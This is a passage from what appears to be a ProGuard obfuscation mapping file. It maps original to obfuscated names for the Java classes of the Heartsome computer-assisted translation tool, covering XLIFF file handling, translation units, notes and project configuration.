boolean isLock -> vw + java.lang.String getSrcText() -> getSrcText + void setSrcText(java.lang.String) -> setSrcText + boolean isTgtNull() -> isTgtNull + void setTgtNull(boolean) -> setTgtNull + boolean isLock() -> isLock + void setLock(boolean) -> setLock +net.heartsome.cat.ts.core.bean.IXMLBean -> net.heartsome.cat.ts.core.bean.IXMLBean: + java.lang.String toXMLString() -> toXMLString +net.heartsome.cat.ts.core.bean.NoteBean -> net.heartsome.cat.ts.core.bean.NoteBean: + java.lang.String ANNOTATES_SOURCE -> ANNOTATES_SOURCE + java.lang.String ANNOTATES_TARGET -> ANNOTATES_TARGET + java.lang.String ANNOTATES_GENERAL -> ANNOTATES_GENERAL + java.lang.String PRIORITY_MAX -> PRIORITY_MAX + java.lang.String PRIORITY_DEFALUE -> PRIORITY_DEFALUE + java.lang.String annotates -> vx + java.lang.String priority -> vy + java.lang.String from -> from + java.lang.String lang -> vz + java.lang.String noteText -> vA + java.lang.String applyCurrent -> vB + java.lang.String getAnnotates() -> getAnnotates + void setAnnotates(java.lang.String) -> setAnnotates + java.lang.String getPriority() -> getPriority + void setPriority(java.lang.String) -> setPriority + java.lang.String getFrom() -> getFrom + void setFrom(java.lang.String) -> setFrom + java.lang.String getLang() -> getLang + void setLang(java.lang.String) -> setLang + java.lang.String getNoteText() -> getNoteText + void setNoteText(java.lang.String) -> setNoteText + java.lang.String toXMLString() -> toXMLString + java.lang.String getApplyCurrent() -> getApplyCurrent + void setApplyCurrent(java.lang.String) -> setApplyCurrent +net.heartsome.cat.ts.core.bean.PropBean -> net.heartsome.cat.ts.core.bean.PropBean: + java.lang.String proptype -> vC + java.lang.String value -> value + java.lang.String lang -> vz + java.lang.String getProptype() -> getProptype + java.lang.String getValue() -> getValue + java.lang.String getLang() -> getLang + void setLang(java.lang.String) -> setLang + java.lang.String toXMLString() -> toXMLString +net.heartsome.cat.ts.core.bean.PropGroupBean -> net.heartsome.cat.ts.core.bean.PropGroupBean: + java.lang.String name -> name + java.util.Vector props -> vD + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.util.List getProps() -> getProps + void setProps(java.util.Vector) -> setProps + void addProp(net.heartsome.cat.ts.core.bean.PropBean) -> addProp + java.util.Vector getProps(java.lang.String) -> getProps + net.heartsome.cat.ts.core.bean.PropBean getProp(java.lang.String) -> getProp + java.lang.String toXMLString() -> toXMLString +net.heartsome.cat.ts.core.bean.SegPointBean -> net.heartsome.cat.ts.core.bean.SegPointBean: + java.lang.String rowId -> OH + int wordNumber -> amf + java.lang.String getRowId() -> getRowId + void setRowId(java.lang.String) -> setRowId + int getWordNumber() -> getWordNumber + void setWordNumber(int) -> setWordNumber +net.heartsome.cat.ts.core.bean.SingleWord -> net.heartsome.cat.ts.core.bean.SingleWord: + java.lang.String word -> Nr + java.lang.String pureWord -> Nt + int start -> start + int length -> length + java.lang.String getWord() -> getWord + void setWord(java.lang.String) -> setWord + java.lang.String getPureWord() -> getPureWord + void setPureWord(java.lang.String) -> setPureWord + int getStart() -> getStart + void setStart(int) -> setStart + int getLength() -> getLength + void setLength(int) -> setLength + boolean equalPureText(java.lang.String) -> equalPureText +net.heartsome.cat.ts.core.bean.SplitSegInfoBean -> net.heartsome.cat.ts.core.bean.SplitSegInfoBean: + int totalWordNum -> amg + int totalTuNum -> amh + java.util.Map rowWordNumMap -> ami + int getTotalWordNum() -> getTotalWordNum + void setTotalWordNum(int) -> setTotalWordNum + int getTotalTuNum() -> getTotalTuNum + void setTotalTuNum(int) -> setTotalTuNum + java.util.Map getRowWordNumMap() -> getRowWordNumMap + void setRowWordNumMap(java.util.Map) -> setRowWordNumMap +net.heartsome.cat.ts.core.bean.TransUnitBean -> net.heartsome.cat.ts.core.bean.TransUnitBean: + java.lang.String id -> id + java.util.Hashtable tuProps -> vE + java.util.Vector matches -> vF + java.util.Vector propGroups -> vu + java.util.Vector notes -> vG + java.lang.String srcText -> fO + java.lang.String srcContent -> vp + java.lang.String tgtText -> fP + java.lang.String tgtContent -> vq + java.lang.String flag -> vH + java.util.Hashtable srcProps -> vr + java.util.Hashtable tgtProps -> vs + java.util.Comparator comparator -> comparator + int NUMBER_OF_MATCHES -> vI + java.lang.String getFlag() -> getFlag + void setFlag(java.lang.String) -> setFlag + java.lang.String getSrcContent() -> getSrcContent + void setSrcContent(java.lang.String) -> setSrcContent + java.lang.String getTgtContent() -> getTgtContent + void setTgtContent(java.lang.String) -> setTgtContent + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.util.Hashtable getTuProps() -> getTuProps + void setTuProps(java.util.Hashtable) -> setTuProps + java.util.Vector getMatches() -> getMatches + java.util.Vector getMatchesByToolId(java.lang.String) -> getMatchesByToolId + void setMatches(java.util.Vector) -> setMatches + void updateMatches(java.lang.String,java.util.Vector) -> updateMatches + java.util.Vector getPropgroups() -> getPropgroups + void setPropgroups(java.util.Vector) -> setPropgroups + java.util.Vector getNotes() -> getNotes + void setNotes(java.util.Vector) -> setNotes + java.lang.String getSrcText() -> getSrcText + void setSrcText(java.lang.String) -> setSrcText + java.lang.String getTgtText() -> getTgtText + void setTgtText(java.lang.String) -> setTgtText + java.util.Hashtable getSrcProps() -> getSrcProps + java.lang.String getSrcLang() -> getSrcLang + java.lang.String getTgtLang() -> getTgtLang + java.lang.String getSrcPropValue(java.lang.String) -> getSrcPropValue + java.lang.String getTgtLang(java.lang.String) -> getTgtLang + void setSrcProps(java.util.Hashtable) -> setSrcProps + java.util.Hashtable getTgtProps() -> getTgtProps + void setTgtProps(java.util.Hashtable) -> setTgtProps + int hashCode() -> hashCode + boolean equals(java.lang.Object) -> equals + java.lang.String toXMLString() -> toXMLString +net.heartsome.cat.ts.core.bean.TransUnitBean$1 -> net.heartsome.cat.ts.core.bean.TransUnitBean$1: + int compare(net.heartsome.cat.ts.core.bean.AltTransBean,net.heartsome.cat.ts.core.bean.AltTransBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.core.bean.TransUnitBean$2 -> net.heartsome.cat.ts.core.bean.TransUnitBean$2: + net.heartsome.cat.ts.core.bean.TransUnitBean this$0 -> vJ + int compare(net.heartsome.cat.ts.core.bean.AltTransBean,net.heartsome.cat.ts.core.bean.AltTransBean) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.core.bean.XliffBean -> net.heartsome.cat.ts.core.bean.XliffBean: + java.lang.String datatype -> vK + java.lang.String sourceLanguage -> eh + java.lang.String targetLanguage -> cW + java.util.Set originals -> vL + java.lang.String sourceFile -> vM + java.lang.String xliffFile -> dN + void addOriginal(java.lang.String) -> addOriginal + java.lang.String getDatatype() -> getDatatype + void setDatatype(java.lang.String) -> setDatatype + java.lang.String getSourceLanguage() -> getSourceLanguage + void setSourceLanguage(java.lang.String) -> setSourceLanguage + java.lang.String getTargetLanguage() -> getTargetLanguage + void setTargetLanguage(java.lang.String) -> setTargetLanguage + java.util.Set getOriginals() -> getOriginals + void setOriginals(java.util.Set) -> setOriginals + java.lang.String getSourceFile() -> getSourceFile + void setSourceFile(java.lang.String) -> setSourceFile + java.lang.String getXliffFile() -> getXliffFile + void setXliffFile(java.lang.String) -> setXliffFile +net.heartsome.cat.ts.core.file.DocumentPropertiesKeys -> net.heartsome.cat.ts.core.file.DocumentPropertiesKeys: + java.lang.String ORIGINAL -> ORIGINAL + java.lang.String DATA_TYPE -> DATA_TYPE + java.lang.String ENCODING -> ENCODING + java.lang.String SOURCE_LANGUAGE -> SOURCE_LANGUAGE + java.lang.String TARGET_LANGUAGE -> TARGET_LANGUAGE + java.lang.String SKL -> SKL + java.lang.String CLIENT -> CLIENT + java.lang.String PROJECT_REF -> PROJECT_REF + java.lang.String JOB_REF -> JOB_REF + java.lang.String JOB_DATE -> JOB_DATE + java.lang.String JOB_OWNER -> JOB_OWNER +net.heartsome.cat.ts.core.file.IPreferenceConstants -> net.heartsome.cat.ts.core.file.IPreferenceConstants: + java.lang.String FILTER_CONDITION -> FILTER_CONDITION + java.lang.String FILTER_CONDITION_INDEX -> FILTER_CONDITION_INDEX + java.lang.String FILTER_CONDITION_ADDITION -> FILTER_CONDITION_ADDITION + java.lang.String MATCH_CONDITION -> MATCH_CONDITION + java.lang.String MATCH_CONDITION_INDEX -> MATCH_CONDITION_INDEX + java.lang.String MATCH_CONDITION_ADDITION -> MATCH_CONDITION_ADDITION +net.heartsome.cat.ts.core.file.PreferenceStore -> net.heartsome.cat.ts.core.file.PreferenceStore: + org.eclipse.jface.preference.IPreferenceStore store -> vN + java.lang.String separator -> separator + java.lang.String separator1 -> vO + java.util.LinkedHashMap getMap(java.lang.String) -> getMap + void saveMap(java.lang.String,java.util.Map) -> saveMap + java.util.LinkedHashMap getCustomCondition(java.lang.String) -> getCustomCondition + void saveCustomCondition(java.lang.String,java.util.LinkedHashMap) -> saveCustomCondition +net.heartsome.cat.ts.core.file.ProjectConfiger -> net.heartsome.cat.ts.core.file.ProjectConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.io.File projCfgFile -> vP + java.util.List listeners -> listeners + org.slf4j.Logger logger -> logger + void addChangeListener(net.heartsome.cat.ts.core.IProjectConfigChangedListener) -> addChangeListener + void removeChangeListener(net.heartsome.cat.ts.core.IProjectConfigChangedListener) -> removeChangeListener + void fireChangedEvent() -> eZ + void initResource(java.lang.String) -> cp + net.heartsome.cat.common.bean.ProjectInfoBean getCurrentProjectConfig() -> getCurrentProjectConfig + java.util.LinkedHashMap getFieldMap() -> ip + java.util.LinkedHashMap getAttrMap() -> iq + boolean saveProjectConfigInfo(net.heartsome.cat.common.bean.ProjectInfoBean) -> saveProjectConfigInfo + void updateProjectConfig(net.heartsome.cat.common.bean.ProjectInfoBean) -> updateProjectConfig + java.lang.String getProjectName() -> getProjectName + java.util.List getTargetlanguages() -> getTargetlanguages + net.heartsome.cat.common.locale.Language getSourceLanguage() -> getSourceLanguage + java.util.List getTermBaseDbs(boolean) -> getTermBaseDbs + java.util.List getAllTmDbs() -> getAllTmDbs + net.heartsome.cat.common.bean.DatabaseModelBean getDefaultTMDb() -> getDefaultTMDb + java.util.List getReferrenceTMDbs() -> getReferrenceTMDbs + boolean save(com.ximpleware.XMLModifier,java.io.File) -> b + java.lang.String createTmNode(java.util.List) -> r + java.lang.String createTbNode(java.util.List) -> s + java.lang.String createDbNode(net.heartsome.cat.common.bean.DatabaseModelBean) -> c + java.lang.String createLanguageNode(net.heartsome.cat.common.locale.Language,java.util.List) -> a + java.lang.String createFieldListNode(java.util.Map) -> s + java.lang.String createAttrListNode(java.util.Map) -> t + void reloadConfig() -> reloadConfig + java.lang.String createProjectNameNode(java.lang.String) -> cu +net.heartsome.cat.ts.core.file.ProjectConfiger$1 -> net.heartsome.cat.ts.core.file.ProjectConfiger$1: + net.heartsome.cat.ts.core.file.ProjectConfiger this$0 -> ZR + java.text.Collator val$collatorChinese -> ZT + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.core.file.ProjectConfiger$2 -> net.heartsome.cat.ts.core.file.ProjectConfiger$2: + net.heartsome.cat.ts.core.file.ProjectConfiger this$0 -> ZR + java.text.Collator val$collatorChinese -> ZT + int compare(java.util.Map$Entry,java.util.Map$Entry) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.core.file.ProjectConfigerFactory -> net.heartsome.cat.ts.core.file.ProjectConfigerFactory: + org.slf4j.Logger logger -> logger + java.util.Map confgerMap -> confgerMap + net.heartsome.cat.ts.core.file.ProjectConfiger getProjectConfiger(org.eclipse.core.resources.IProject) -> getProjectConfiger +net.heartsome.cat.ts.core.file.ProjectConfigerUtil -> net.heartsome.cat.ts.core.file.ProjectConfigerUtil: + net.heartsome.cat.ts.core.file.ProjectConfiger config -> amj + java.util.List mementoTmDbs -> amk + java.util.List mementoTbDbs -> aml + org.eclipse.core.resources.IProject projcet -> amm + org.slf4j.Logger logger -> logger + void setDbMementos() -> setDbMementos + void clearConfig() -> clearConfig + void restoreMementos() -> restoreMementos +net.heartsome.cat.ts.core.file.RepeatRowSearcher -> net.heartsome.cat.ts.core.file.RepeatRowSearcher: + boolean ignoreTag -> vQ + boolean isIgnoreCase -> vR + boolean isEditor -> ap + java.util.ArrayList getRepeateRowsForFilter(net.heartsome.cat.ts.core.file.XLFHandler,java.util.Map) -> getRepeateRowsForFilter + java.util.Map getRepeateRowsForFuzzy(net.heartsome.cat.ts.core.file.XLFHandler) -> getRepeateRowsForFuzzy + void ananysisFuzzyDataMap(java.util.Map,java.util.Map) -> d + java.util.ArrayList getRepeateRowsForLockInterRepeat(net.heartsome.cat.ts.core.file.XLFHandler,java.util.Map,java.lang.String,java.lang.String) -> getRepeateRowsForLockInterRepeat + java.util.ArrayList getRepeateRowsEscapeFirstForFA(java.util.Map) -> getRepeateRowsEscapeFirstForFA +net.heartsome.cat.ts.core.file.RowIdUtil -> net.heartsome.cat.ts.core.file.RowIdUtil: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String SPLIT_MARK -> SPLIT_MARK + java.lang.String getRowId(com.ximpleware.VTDNav,java.lang.String) -> getRowId + java.lang.String getSpecialRowId(com.ximpleware.VTDNav) -> getSpecialRowId + java.lang.String getRowId(java.lang.String,java.lang.String,java.lang.String) -> getRowId + java.lang.String parseRowIdToXPath(java.lang.String) -> parseRowIdToXPath + java.lang.String parseRowIdToXPathWithCondition(java.lang.String,java.lang.String) -> parseRowIdToXPathWithCondition + java.lang.String getOriginalByRowId(java.lang.String) -> getOriginalByRowId + java.lang.String parseRowIdToGroupXPath(java.lang.String) -> parseRowIdToGroupXPath + java.lang.String[] splitRowId(java.lang.String) -> cv + java.lang.String getFileNameByRowId(java.lang.String) -> getFileNameByRowId + java.lang.String getFileXpathByRowId(java.lang.String) -> getFileXpathByRowId + java.lang.String getTUIdByRowId(java.lang.String) -> getTUIdByRowId + java.util.Map groupRowIdByFileName(java.util.List) -> groupRowIdByFileName +net.heartsome.cat.ts.core.file.SaxonSearcher -> net.heartsome.cat.ts.core.file.SaxonSearcher: + java.lang.String SOURCE_COLUMN -> vS + java.lang.String TARGET_COLUMN -> vT + java.util.ArrayList sort(java.lang.String,java.lang.String,java.lang.String,boolean) -> sort + java.util.ArrayList sort(java.util.Map,java.lang.String,java.lang.String,boolean) -> sort + java.util.ArrayList getRepeatedSegment(java.util.Map,java.lang.String) -> getRepeatedSegment + java.util.ArrayList getInconsistentTranslationsSegment(java.util.Map,java.lang.String) -> getInconsistentTranslationsSegment + java.util.ArrayList qurey(java.lang.String) -> cw + java.lang.String[] getXQueryString(java.util.Map,java.lang.String,java.util.List) -> a + void testSort() -> fa + void testGetRepeatedSegment() -> fb + java.util.Map getPropagateTranslationsRowIds(java.util.Map,java.lang.String) -> getPropagateTranslationsRowIds + java.util.Map PropagateQurey(java.lang.String) -> PropagateQurey + void testRpeateed() -> fc + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.core.file.SourceTargetComparer -> net.heartsome.cat.ts.core.file.SourceTargetComparer: + java.lang.String replaceWhiteSpace(java.lang.String,java.lang.String) -> replaceWhiteSpace + java.lang.String replaceNumber(java.lang.String,java.lang.String) -> replaceNumber + java.util.HashMap getNumbers(java.lang.String) -> cx + java.lang.String replaceDate(java.lang.String,java.lang.String) -> replaceDate + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.core.file.TSFileHandler -> net.heartsome.cat.ts.core.file.TSFileHandler: + org.slf4j.Logger logger -> logger + java.util.Map accessHistory -> vU + java.util.LinkedHashMap tmpFileMap -> vV + java.util.Hashtable filesChangeStatus -> vW + java.util.Hashtable fileAttrs -> vX + java.util.Hashtable transunits -> vY + java.util.Hashtable actualTuCount -> vZ + java.util.Hashtable tuIndexs -> wa + int TU_CACHE_SIZE -> wb + int REPORT_FORMAT_XML -> REPORT_FORMAT_XML + int REPORT_FORMAT_HTML -> REPORT_FORMAT_HTML + int REPORT_FORMAT_PDF -> REPORT_FORMAT_PDF + int REPORT_FORMAT_TXT -> REPORT_FORMAT_TXT + int ANALYSIS_MODE_STATUS -> ANALYSIS_MODE_STATUS + int ANALYSIS_MODE_TRANSLATOR_PROGRESS -> ANALYSIS_MODE_TRANSLATOR_PROGRESS + int ANALYSIS_MODE_EDITOR_PROGRESS -> ANALYSIS_MODE_EDITOR_PROGRESS + java.lang.String hsR7NSUrl -> hsR7NSUrl + java.lang.String hsR8NSUrl -> wc + java.lang.String hsNSPrefix -> hsNSPrefix + java.util.LinkedHashMap getTmpFileMap() -> getTmpFileMap + void setTmpFileMap(java.util.LinkedHashMap) -> setTmpFileMap + java.util.Hashtable getTransunits() -> getTransunits + java.util.Hashtable getTuIndexs() -> getTuIndexs + java.util.Map closeFile(java.lang.String) -> closeFile + java.util.Map closeFile(java.io.File) -> closeFile + java.util.Map closeFiles(java.util.List) -> closeFiles + java.util.Map openFile(java.lang.String,int) -> a + java.util.Map openFile(java.io.File) -> openFile + java.util.Map openFile(java.lang.String) -> openFile + java.util.Map openFile(java.io.File,int) -> openFile + java.util.Vector getNotes(net.heartsome.xml.vtdimpl.VTDUtils) -> a + java.util.Vector getAltTrans(net.heartsome.xml.vtdimpl.VTDUtils) -> b + java.util.Vector getPrpoGroups(net.heartsome.xml.vtdimpl.VTDUtils) -> c + java.util.Vector getProps(net.heartsome.xml.vtdimpl.VTDUtils) -> d + java.util.Map openFiles(java.util.List) -> openFiles + java.util.Map saveFile(java.lang.String,java.lang.String) -> saveFile + java.util.Map saveFile(java.io.File,java.io.File) -> saveFile + int getOpenedFileCount() -> getOpenedFileCount + int getCachedTuCount() -> getCachedTuCount + java.io.File createTmpFile() -> createTmpFile + java.util.Map getErrorResult(java.lang.String,java.lang.Throwable) -> a + java.util.Map getSuccessResult(java.lang.String) -> cy + java.util.Map getSuccessResult() -> fd + java.util.Map getAccessHistory() -> getAccessHistory + java.lang.String changeCase(java.lang.String,int) -> changeCase + java.lang.String changeToSentenceCase(java.lang.String) -> cz + java.util.Map fileAnalysis(java.lang.String,int,int,float) -> fileAnalysis + java.lang.String analysisStatus(com.ximpleware.VTDNav,java.lang.String,float) -> a + java.lang.String analysisTranslatorProgress(com.ximpleware.VTDNav,java.lang.String,float) -> b + java.lang.String analysisEditorProgress(com.ximpleware.VTDNav,java.lang.String,float) -> c + java.util.Map xliffAnalysis(java.io.File,int,float) -> a + java.util.Map projectAnalysis(java.io.File) -> f + int wordCount(java.lang.String,java.lang.String) -> wordCount + int chineseCount(java.lang.String) -> cA + int europeanCount(java.lang.String) -> cB + boolean isFormatNumber(java.lang.String) -> isFormatNumber + java.util.Vector getSourceLanguage() -> getSourceLanguage + java.util.Vector getTargetLanguage() -> getTargetLanguage + java.lang.String getSourceLanguage(int) -> getSourceLanguage + java.lang.String getTargetLanguage(int) -> getTargetLanguage + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.core.file.XLFHandler -> net.heartsome.cat.ts.core.file.XLFHandler: + org.slf4j.Logger LOGGER -> LOGGER + java.util.Map accessHistory -> vU + java.util.LinkedHashMap tuSizeMap -> wd + java.util.Hashtable vnMap -> we + java.lang.String hsR7NSUrl -> hsR7NSUrl + java.lang.String hsNSPrefix -> hsNSPrefix + java.util.Hashtable xliffXmlnsMap -> wf + java.text.SimpleDateFormat sdf -> sdf + com.ximpleware.VTDNav vnRead -> wg + java.util.ArrayList rowIds -> wh + java.util.Map cacheMap -> wi + int contextNum -> wj + java.lang.String XPATH_ALL_TU -> XPATH_ALL_TU + java.util.LinkedHashMap filterMap -> wk + java.util.Map filterStatusMap -> wl + java.util.Map getCacheMap() -> getCacheMap + java.util.LinkedHashMap getFilterMap() -> getFilterMap + java.util.LinkedHashMap getCustomFilterMap() -> getCustomFilterMap + java.util.LinkedHashMap getCustomFilterAdditionMap() -> getCustomFilterAdditionMap + java.util.LinkedHashMap getCustomFilterIndexMap() -> getCustomFilterIndexMap + java.util.Set getFilterNames() -> getFilterNames + java.util.Hashtable getVnMap() -> getVnMap + boolean doFilter(java.lang.String,java.lang.String) -> doFilter + void resetCache() -> resetCache + java.util.ArrayList getRowIds() -> getRowIds + java.util.Map closeFile(java.lang.String) -> closeFile + java.util.Map closeFile(java.io.File) -> closeFile + java.util.Map closeFiles(java.util.List) -> closeFiles + java.util.Map openFile(java.lang.String) -> openFile + java.util.Map openFile(java.lang.String,int) -> a + java.util.Map openFile(java.io.File) -> openFile + java.util.Map openFiles(java.util.List) -> openFiles + java.util.Map openFiles(java.util.ArrayList,org.eclipse.core.runtime.IProgressMonitor) -> openFiles + java.util.Map openFiles(java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> openFiles + java.util.Map openFile(java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> a + java.util.Map saveFile(java.lang.String,java.lang.String) -> saveFile + java.util.Map saveFile(java.io.File,java.io.File) -> saveFile + java.util.Map getErrorResult(java.lang.String,java.lang.Throwable) -> a + java.util.Map getSuccessResult(java.lang.String) -> cy + java.util.Map getSuccessResult() -> fd + java.io.File createTmpFile() -> createTmpFile + int countTransUnit() -> countTransUnit + int countTransUnit(java.lang.String) -> countTransUnit + int countEditableTransUnit() -> countEditableTransUnit + void resetRowIdsToUnsorted() -> resetRowIdsToUnsorted + void refreshRowIdsByFilterXPath(java.lang.String) -> cC + java.util.List getAllRowIds() -> getAllRowIds + net.heartsome.cat.ts.core.bean.TransUnitBean getTransUnit(int) -> getTransUnit + net.heartsome.cat.ts.core.bean.TransUnitBean getTransUnit(java.lang.String) -> getTransUnit + java.util.Vector getNotes(net.heartsome.xml.vtdimpl.VTDUtils) -> a + java.util.Vector getNotes(java.lang.String) -> getNotes + java.util.Vector getAltTrans(net.heartsome.xml.vtdimpl.VTDUtils) -> b + java.util.Vector getPrpoGroups(net.heartsome.xml.vtdimpl.VTDUtils) -> c + java.util.Vector getProps(net.heartsome.xml.vtdimpl.VTDUtils) -> d + boolean save(com.ximpleware.XMLModifier,java.lang.String) -> b + boolean save(com.ximpleware.XMLModifier,java.io.File) -> b + void saveAndReparse(com.ximpleware.XMLModifier,java.lang.String) -> saveAndReparse + java.util.Hashtable getNatTableColumnName() -> getNatTableColumnName + java.util.Map getLanguages() -> getLanguages + java.lang.String getRowId(int) -> getRowId + int getRowIndex(java.lang.String) -> getRowIndex + java.util.Set getRowIds(int[]) -> getRowIds + java.lang.String getRowIdByXpath(java.lang.String,java.lang.String) -> getRowIdByXpath + java.util.List getDocumentInfo(java.lang.String) -> getDocumentInfo + java.lang.String[][] getCustomerInfo(java.lang.String) -> getCustomerInfo + java.lang.String escapeTag(java.lang.String) -> escapeTag + java.lang.String resolveTag(java.lang.String) -> resolveTag + void updateDocumentInfo(java.lang.String,java.util.Map,java.util.Map,java.util.Map) -> updateDocumentInfo + boolean changeApproveProp(com.ximpleware.VTDNav,java.lang.String,com.ximpleware.XMLModifier) -> a + java.util.List approveAllTransUnits(boolean) -> approveAllTransUnits + java.util.List approveAllTransUnits(boolean,boolean) -> approveAllTransUnits + java.util.List approveTransUnits(java.util.List,boolean) -> approveTransUnits + java.util.List approveTransUnits(java.util.List,boolean,boolean) -> approveTransUnits + boolean changeTranslateProp(com.ximpleware.VTDNav,java.lang.String,com.ximpleware.XMLModifier) -> b + void changeAllTranslateProp(java.lang.String) -> cD + void changeSomeTranslateProp(java.util.List) -> changeSomeTranslateProp + void changeSomeTranslateProp(java.lang.String,java.util.List) -> b + void lockAllTransUnits(boolean) -> lockAllTransUnits + void lockTransUnits(java.util.List,boolean) -> lockTransUnits + void changePropValue(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,java.lang.String,java.lang.String[]) -> a + void updateAndSave(java.lang.String,java.lang.String,java.lang.String) -> updateAndSave + void deleteAndSave(java.lang.String,java.lang.String) -> z + void changeSrcTextValue(java.lang.String,java.lang.String) -> changeSrcTextValue + void changeSrcTextValue(java.util.List,java.lang.String) -> changeSrcTextValue + void changeTgtTextValue(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> changeTgtTextValue + void changeTgtTextValue(java.util.List,java.lang.String,java.lang.String,java.lang.String) -> changeTgtTextValue + void changeTgtTextValue(java.util.Map,java.lang.String,java.lang.String) -> changeTgtTextValue + void copyAllSource2Target() -> copyAllSource2Target + void changeTextValue(java.util.List,java.lang.String,java.lang.String) -> b + void changeTextValue(java.util.Map,java.lang.String) -> a + java.util.Map getPropValue(java.util.List,java.lang.String) -> b + java.lang.String getTgtPropValue(java.lang.String,java.lang.String) -> getTgtPropValue + java.util.Map getTgtPropValue(java.util.List,java.lang.String) -> getTgtPropValue + java.util.Map getTuPropValue(java.util.List,java.lang.String) -> getTuPropValue + java.util.Map openFile(java.io.File,int) -> openFile + void changeTgtPropValue(java.util.List,java.lang.String,java.lang.String,java.lang.String[]) -> changeTgtPropValue + void changeTgtPropValue(java.util.Map,java.lang.String,java.lang.String[]) -> changeTgtPropValue + void changeTuPropValue(java.util.List,java.lang.String,java.lang.String) -> changeTuPropValue + void changeTransUnitState(java.util.List,java.lang.String) -> changeTransUnitState + void changeTuPropValue(java.util.Map,java.lang.String) -> changeTuPropValue + void deleteTuProp(java.util.List,java.lang.String) -> deleteTuProp + void deleteTgtProp(java.util.List,java.lang.String) -> deleteTgtProp + void deleteNodeProp(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> a + java.lang.String getSrcPureText(java.lang.String) -> getSrcPureText + java.lang.String getSrcContent(java.lang.String) -> getSrcContent + java.lang.String getTgtContent(java.lang.String) -> getTgtContent + com.ximpleware.VTDNav getVTDNavByRowId(java.lang.String) -> cE + void sort(java.lang.String,boolean) -> sort + java.util.List getSortRowIdList(java.util.HashSet,java.lang.String,boolean) -> getSortRowIdList + java.util.HashMap removeAllTags(java.util.List) -> removeAllTags + void resetRemoveAllTags(java.util.HashMap) -> resetRemoveAllTags + java.lang.String splitSegment(java.lang.String,int) -> splitSegment + java.util.List getTagLocation(com.ximpleware.VTDNav,java.lang.String) -> a + void resetSplitSegment(java.lang.String,java.lang.String) -> resetSplitSegment + java.lang.String mergeSegment(java.lang.String,java.lang.String) -> mergeSegment + void resetMergeSegment(java.util.Map) -> resetMergeSegment + void addNote(java.lang.String,java.lang.String) -> addNote + void addNote(java.util.Map,java.lang.String,java.lang.String,boolean) -> addNote + void updateNote(java.lang.String,java.lang.String,java.lang.String) -> updateNote + void updateNote(java.util.Map,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> updateNote + void deleteNote(java.lang.String,java.lang.String) -> deleteNote + void deleteNote(java.util.HashMap) -> deleteNote + void deleteAllSegmentNote() -> deleteAllSegmentNote + void deleteEditableSegmentNote(java.util.List) -> deleteEditableSegmentNote + int getSegmentIndex(int,java.lang.String,boolean) -> a + java.lang.String getContext(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.AutoPilot,int,boolean) -> getContext + int getNextNoteSegmentIndex(int) -> getNextNoteSegmentIndex + int getPreviousNoteSegmentIndex(int) -> getPreviousNoteSegmentIndex + int getNextQuestionSegmentIndex(int) -> getNextQuestionSegmentIndex + int getNextUnapprovedSegmentIndex(int) -> getNextUnapprovedSegmentIndex + int getPreviousUnapprovedSegmentIndex(int) -> getPreviousUnapprovedSegmentIndex + int getNextUntranslatedSegmentIndex(int) -> getNextUntranslatedSegmentIndex + int getPreviousUntranslatedSegmentIndex(int) -> getPreviousUntranslatedSegmentIndex + int getNextUntranslatableSegmentIndex(int) -> getNextUntranslatableSegmentIndex + int getPreviousUntranslatableSegmentIndex(int) -> getPreviousUntranslatableSegmentIndex + int getNextFuzzySegmentIndex(int) -> getNextFuzzySegmentIndex + int getPreviousFuzzySegmentIndex(int) -> getPreviousFuzzySegmentIndex + java.util.ArrayList getRepeatedSegment(java.lang.String) -> getRepeatedSegment + void filterRepeatedSegment(java.lang.String) -> filterRepeatedSegment + java.util.ArrayList getRepeatedSegmentExceptFirstOne(java.lang.String,java.lang.String) -> getRepeatedSegmentExceptFirstOne + void getInconsistentTranslationsSegment(java.lang.String) -> getInconsistentTranslationsSegment + void handleAllSegment(net.heartsome.cat.ts.core.file.XLFHandler$PerFileHandler) -> a + java.util.Map handleSomeSegment(java.util.List,net.heartsome.cat.ts.core.file.XLFHandler$PerSegmentHandler) -> a + void updateAltTrans(java.lang.String,java.util.List,java.util.List) -> updateAltTrans + void updateAltTrans(net.heartsome.xml.vtdimpl.VTDUtils,com.ximpleware.XMLModifier,java.lang.String,java.util.List,java.util.List) -> a + void batchUpdateAltTrans(int[],java.util.Map,java.util.Map) -> batchUpdateAltTrans + void deleteAltTrans(java.util.List) -> deleteAltTrans + void deleteAltTrans(java.lang.String) -> deleteAltTrans + void deleteAltTrans(java.lang.String,java.lang.String) -> deleteAltTrans + void deleteAllSegmentTranslations() -> deleteAllSegmentTranslations + java.util.Map getMatchOfSegments(int) -> getMatchOfSegments + java.lang.String getTuProp(java.lang.String,java.lang.String) -> getTuProp + boolean isApproved(java.lang.String) -> isApproved + boolean isSignOff(java.lang.String) -> isSignOff + boolean isLocked(java.lang.String) -> isLocked + boolean isSendToTM(java.lang.String) -> isSendToTM + boolean isNeedReview(java.lang.String) -> isNeedReview + boolean isSignedOff(java.lang.String) -> isSignedOff + boolean isDraft(java.lang.String) -> isDraft + boolean isEmptyTranslation(java.lang.String) -> isEmptyTranslation + java.util.Map getTuNodes(java.util.List) -> getTuNodes + void resetTuNodes(java.util.Map) -> resetTuNodes + java.lang.StringBuffer 